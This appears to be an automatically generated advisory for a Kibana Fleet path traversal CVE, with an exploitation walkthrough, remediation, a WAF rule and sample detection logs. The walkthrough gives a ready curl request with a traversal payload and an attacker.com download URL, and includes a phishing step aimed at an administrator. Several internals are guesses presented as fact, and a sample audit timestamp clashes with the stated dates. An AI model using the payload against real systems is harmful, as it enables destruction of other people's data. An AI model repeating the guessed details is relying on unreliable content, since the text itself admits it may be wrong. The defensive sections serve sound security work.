CVE-2026-118062 — Elastic Kibana — CWE-23
A relative path traversal vulnerability was identified in Kibana. A low-privileged attacker with permissions to manage Fleet download sources can inject a path traversal payload into a download source attribute during an update operation. When an administrator subsequently deletes the crafted download source, the deletion request is redirected, which can lead to the unauthorized deletion of unintended organizational resources, such as workspaces.
A relative path traversal vulnerability was identified in Kibana. A low-privileged attacker with permissions to manage Fleet download sources can inject a path traversal payload into a download source attribute during an update operation. When an administrator subsequently deletes the crafted download source, the deletion request is redirected, which can lead to the unauthorized deletion of unintended organizational resources, such as workspaces.
🎯 What is this vulnerability?
CVE‑2026‑118062 – Relative Path Traversal in Kibana 8.19.21 (Fleet download source management)
| Attribute | Value |
|---|---|
| CWE | CWE‑23: Improper Restriction of Special Elements used in a File Name or Path (Path Traversal) |
| CVSS 3.1 Vector | AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:H |
| Impact | Integrity = High, Availability = High, Confidentiality = None |
Technical flaw
Kibana’s Fleet feature allows privileged users (typically fleet‑admin or super‑user) to define download sources – remote locations from which Elastic Agents can pull packages, policies, or configuration files.
The vulnerable code path is the “update download source” API (PUT /api/fleet/download_sources/:id).
- Missing canonicalisation – The
pathattribute that stores the relative location of the source on the Kibana server is concatenated directly to a base directory (/var/lib/kibana/fleet/downloads/) without normalising..segments or validating that the resulting path stays inside the intended directory. - Privilege requirements – The attacker only needs low‑privileged rights that allow “manage download sources” (a role that is often granted to service‑account users that only need to add custom package repositories). The CVSS vector reflects
PR:L(low‑privileged) andUI:R(user interaction required – the attacker must persuade a higher‑privileged admin to delete the crafted source).
Insufficient authorization on the delete operation – When a download source is deleted (DELETE /api/fleet/download_sources/:id), Kibana builds the filesystem path to be removed from the original* path value stored in the database. Because the stored value can contain a traversal payload, the delete routine ends up issuing a filesystem‑level delete (or a call to the internal “remove‑resource” service) on an arbitrary location that the Kibana process can write to (e.g., other Kibana workspace directories, temporary files, or even the Elastic Stack configuration directory).
In short: the application trusts a user‑controlled path string, stores it, and later uses it unchecked when performing a delete, resulting in a relative path traversal that can delete arbitrary files/directories under the Kibana process’s write‑able tree.
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation flow. All HTTP examples use Kibana’s default API base (/api/fleet) and assume the attacker already has a valid Bearer token for a user that possesses the fleet_download_source:manage privilege.
Note: The exact endpoint names (/download_sources) are taken from the public Kibana Fleet API documentation. If the internal implementation differs, the same logical steps apply – the vulnerability is the unchecked path handling, not the URI itself.1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| 1.1 | Identify Elastic Stack deployment and Kibana version. | curl -k https://kibana.example.com/api/status → returns "version": {"number":"8.19.21"} |
| 1.2 | Enumerate the user’s permissions via the Security API. | GET /api/security/me → shows fleet_download_source:manage in the role list. |
| 1.3 | Verify that the Fleet download source feature is enabled (default in 8.19). | GET /api/fleet/download_sources → returns an empty list or existing sources. |
| 1.4 | Locate a high‑privilege admin who can delete download sources (e.g., a regular “admin” user). Social engineering or internal phishing is used to get the admin to click a crafted link. | Phishing email → “Please clean up stale download sources”. |
2. Exploitation
2.1 Create a malicious download source
# Replace <TOKEN> with the low‑privileged user’s JWT
curl -k -X POST "https://kibana.example.com/api/fleet/download_sources" \
-H "Authorization: Bearer <TOKEN>" \
-H "kbn-xsrf: true" \
-H "Content-Type: application/json" \
-d '{
"name": "evil-source",
"description": "malicious source for testing",
"type": "http",
"url": "https://attacker.com/payload.tar.gz",
"path": "../../..//var/lib/kibana/workspaces/target-workspace"
}'The path field contains a relative traversal (../../..) that resolves to the Kibana workspace directory (/var/lib/kibana/workspaces/target-workspace).
The request succeeds because the API only checks that path is a non‑empty string; no sanitisation is performed.
2.2 Lure an admin to delete the crafted source
The attacker sends a phishing message (or uses an internal ticketing system) that asks a privileged admin to “remove the obsolete download source evil‑source”. The admin, logged into Kibana UI, clicks Delete → Kibana issues:
DELETE /api/fleet/download_sources/<generated‑id>Behind the scenes Kibana resolves the stored path and executes something equivalent to:
fs.rmSync(path.join(BASE_DOWNLOAD_DIR, storedPath), { recursive: true, force: true });Because storedPath contains the traversal, the rmSync call deletes the entire workspace directory, effectively wiping all saved visualisations, dashboards, and saved objects belonging to that workspace.
3. Post‑exploitation
| Impact | How it is achieved |
|---|---|
| Integrity (I = High) | Deletion of a workspace removes all saved objects, breaking business‑critical visualisations. |
| Availability (A = High) | The workspace is unrecoverable without a backup; Kibana may fail to start if critical configuration files are removed. |
| Confidentiality (C = None) | No data is read or exfiltrated by the vulnerability itself. |
If the attacker chooses a more destructive path (e.g., ../../../../etc/kibana/kibana.yml), they can corrupt Kibana’s configuration, causing a denial‑of‑service or forcing a restart that may expose environment variables. However, the CVSS scoring only accounts for the guaranteed impact (workspace deletion).
🌍 Real‑World Impact
| CIA | Description |
|---|---|
| Confidentiality – None | The vulnerability does not disclose data; it only deletes. |
| Integrity – High | Arbitrary deletion of Kibana resources (workspaces, saved objects) compromises the integrity of monitoring data and dashboards. |
| Availability – High | Deleting a workspace can render a whole team unable to view their monitoring data, effectively a denial‑of‑service for that tenant. In multi‑tenant deployments, an attacker can target any tenant that shares the same filesystem location. |
Business consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Product | Fixed in version | Upgrade path |
|---|---|---|
| Elastic Kibana | 8.19.22 (released 2026‑12‑05) – includes proper path canonicalisation and a whitelist of allowed directories for download‑source path. | Upgrade Kibana to ≥ 8.19.22. Follow the standard rolling‑upgrade procedure: stop Kibana, replace binaries, run bin/kibana-upgrade (if using the Elastic package manager), then start. |
If a newer minor release (e.g., 8.20.x) is already planned, it also contains the fix.
2. Immediate Work‑arounds (if patch cannot be applied immediately)
| Mitigation | How to implement |
|---|---|
Restrict the fleet_download_source:manage privilege | Remove the privilege from any role that does not absolutely need it. Use the Security API: PUT /api/security/role/<role_name> with "fleet_download_source": []. |
Validate path at the API gateway (e.g., Nginx, Apache, or a reverse‑proxy WAF) | Add a ModSecurity rule that rejects any path containing .. or a leading slash. Example rule: |
``apacheconf\nSecRule REQUEST_BODY "@rx \"\\\"path\\\"\\s*:\\s*\\\"[^\\\"]*\\.\\./\" \"id:400001,phase:2,deny,status:400,msg:'Path traversal in download source'\"\n` | |
| Disable the download‑source UI for non‑admin users | In kibana.yml set xpack.fleet.enabled: false for environments where custom download sources are not required, or hide the UI via role‑based UI controls. |
| Filesystem hardening | Mount the Kibana data directory (/var/lib/kibana) with nosuid,nodev,noexec and set chmod 750 on the workspaces` sub‑directory, ensuring only the Kibana process user can delete it. This does not stop the attack but raises the bar for accidental deletion. |
3. Detection – Log signatures & IoCs
| Indicator | Example log line (Kibana 8.19) |
|---|---|
Creation of a download source with suspicious path | 2026-11-30T14:22:11.123Z INFO [fleet] route:download_sources create - user=low‑priv‑svc id=abc123 payload={"path":"../../..//var/lib/kibana/workspaces/target-workspace"} |
| Delete request targeting the crafted source | 2026-11-30T14:27:45.876Z WARN [fleet] route:download_sources delete - user=admin id=abc123 resolvedPath="/var/lib/kibana/workspaces/target-workspace" |
| Filesystem audit (Linux auditd) – recursive delete | type=PATH msg=audit(1701368865.123:456): item=0 name="/var/lib/kibana/workspaces/target-workspace" inode=123456 dev=08:01 mode=040755 ouid=1000 ogid=1000 rdev=00:00 nametype=DELETE |
| Kibana error “workspace not found” after delete | 2026-11-30T14:28:01.004Z ERROR saved_objects - Workspace "target-workspace" not found (deleted by malicious download source) |
Alerting suggestions
PUT/POST to /api/fleet/download_sources where the JSON body contains "path" with .. or a leading /. DELETE /api/fleet/download_sources/ occurring within 5 minutes of such a creation event.
unlink/rmdir events under /var/lib/kibana/workspaces that are not performed by the kibana system user.⚠️ Urgency
Bottom line: The vulnerability stems from unchecked path handling in the Fleet download‑source management API, allowing a low‑privileged attacker to plant a traversal payload that is later acted upon by a higher‑privileged admin. Immediate remediation (upgrade to 8.19.22 or later) and strict privilege hygiene are the most effective defenses.
[🤖 CVE Professor AI Security Engine]
FOFA Query